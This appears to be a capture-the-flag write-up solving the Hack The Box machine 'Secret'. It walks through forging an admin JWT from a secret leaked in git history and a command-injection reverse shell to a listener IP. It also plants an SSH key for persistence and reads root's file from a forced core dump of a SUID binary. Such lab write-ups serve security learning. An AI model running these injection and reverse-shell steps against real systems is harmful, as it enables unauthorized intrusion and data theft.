Secret HTB writeup

SECRET

User Flag

[kali@kali ~]$ sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.120
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
3000/tcp open  ppp     syn-ack ttl 63

We can try to follow the tutorial in the webpage to create an account, for example, using burp.

POST /api/user/register HTTP/1.1
Accept: application/json
Content-Type: application/json
Content-Length: 85

{
	"name": "Dasor_",
	"email": "testmail@mail.com",
	"password": "testtest"
}

Now, we log in:

POST /api/user/login HTTP/1.1
Accept: application/json
Content-Type: application/json
Content-Length: 85

{
	"email": "testmail@mail.com",
	"password": "testtest"
}

And we get our JWT token, but it is pretty useless since when we connect to /api/priv we just get a message telling us that we are normal users.

Now, we can download the source code of the page, which is in the main page (in /download/files.zip). If we take a look at /routes/private.js, we see that to be admin, the user’s name must be theadmin. So we need to fake our JWT token, but first we need the secret. We find that there is a git repository of the source code of the webpage. If we take a look at the commits:

[kali@kali ~]$ git log --oneline
e297a27 (HEAD -> master) now we can view logs from server 😃
67d8da7 removed .env for security reasons
de0a46b added /downloads
4e55472 removed swap
3a367e7 added downloads
55fe756 first commit

and we take a look at the commit 67d8da7, we’ll find the secret. Now, we can create a JWT token with name ‘theadmin’ using, for example, jwt.io. With this token, the page says that we are admin, but we cannot do anything in the webpage. However, in the file private.js, we find:

if (name == 'theadmin'){
    const getLogs = `git log --oneline ${file}`;
    exec(getLogs, (err , output) =>{
    if(err){
        res.status(500).send(err);
        return
    }
    ...

We can exploit the exec function and create a reverse shell using netcat (note that nc -e doesn’t work on this machine):

[kali@kali ~]$ nc -lnvvvp 4444
listening on [any] 4444 ...

Now we exploit the exec function using burp with this request:

GET /api/logs?file=;mknod%20/tmp/backpipe%20p;%20/usr/bin/bash%200</tmp/backpipe%20|%20nc%2010.10.14.196%204444%201>%20/tmp/backpipe HTTP/1.1
...
auth-token: !!! your admin token !!!

with which we get user access:

python3 -c 'import pty; pty.spawn("/bin/bash")'
dasith@secret:~/local-web$ cat /home/dasith/user.txt

Root flag

TIP: We can add our own ssh key to make the work flow easier

dasith@secret:~/local-web$ cd /home/dasith/.ssh
dasith@secret:~/local-web$ echo 'yourkey' >> authorized_keys

In /opt we find a program called count that has the SUID bit set and is owned by root. Then, it can give us information about any file or directory. If we look at the code in code.c, we find:

// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);

which means that, the program reads the file, then drops the privileges to the normal user and, if the program crashes, it will store a crash report in some location (readable by the normal user). The default route is /var/crash. Because the crash will contain the memory of the process, we can exploit this program to do privilege escalation:

dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: ^Z
[1]+  Stopped                 ./count
dasith@secret:/opt$ ps -aux | grep count
root         827  0.0  0.1 235668  7404 ?        Ssl  20:16   0:00 /usr/lib/accountsservice/accounts-daemon
dasith      1688  0.0  0.0   2488   592 pts/3    T    20:20   0:00 ./count
dasith      1691  0.0  0.0   6432   668 pts/3    S+   20:21   0:00 grep --color=auto count

dasith@secret:/opt$ kill -11 1688
dasith@secret:/opt$ fg
./count
Segmentation fault (core dumped)

Now that we have created a crash report, we need to make it readable by using:

dasith@secret:/opt$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash-report

Finally, we can read the process memory in the CoreDump file in /tmp/crash-report, which contains the file read by the process.